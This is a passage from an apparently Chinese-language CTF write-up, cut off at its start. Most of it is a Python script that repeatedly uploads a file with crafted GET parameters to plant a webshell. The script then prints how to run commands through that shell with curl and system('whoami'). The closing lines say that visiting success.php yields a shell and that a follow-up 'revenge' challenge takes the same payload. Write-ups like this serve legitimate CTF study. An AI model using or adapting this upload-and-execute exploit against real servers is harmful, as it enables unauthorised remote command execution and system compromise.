'file': ('1.txt', file_content, 'text/plain')
}

# 构建带GET参数的URL
target_url = f"{base_url}?{urlencode(get_params)}"

print("开始尝试上传webshell...")
print(f"目标URL: {target_url}")
print(f"Webshell位置: {shell_url}")
print("-" * 50)

attempt = 1
while True:
try:
print(f"尝试第 {attempt} 次...")

# 发送POST请求(包含文件),URL中带有GET参数
response = requests.post(
target_url,
files=files,
timeout=10
)

print(f"请求状态码: {response.status_code}")
print(f"响应长度: {len(response.text)} 字节")

# 检查是否成功
if check_success(shell_url):
print("\n" + "=" * 60)
print("✅ Webshell上传成功!")
print(f"Webshell地址: {shell_url}")
print("使用方法: POST方式发送 shell=你的命令")
print("示例: curl -X POST -d \"shell=system('whoami');\" " + shell_url)
print("=" * 60)
break

else:
print("❌ 尚未成功,等待3秒后重试...")
time.sleep(3)

except requests.exceptions.ConnectionError:
print("❌ 连接失败,检查服务是否启动")
time.sleep(5)
except requests.exceptions.Timeout:
print("⏰ 请求超时,继续尝试...")
time.sleep(3)
except KeyboardInterrupt:
print("\n用户中断操作")
break
except Exception as e:
print(f"⚠️ 发生错误: {e}")
time.sleep(3)

attempt += 1
if attempt % 10 == 0:
print("等待5秒继续...")
time.sleep(5)


if __name__ == "__main__":
exploit_get_params_with_post_file()

之后访问success.php就可以getshell了。

这是…Webshell?_revenge

payload跟**这是…Webshell?**一样。咱上题好像用的方法太狠了喵呜。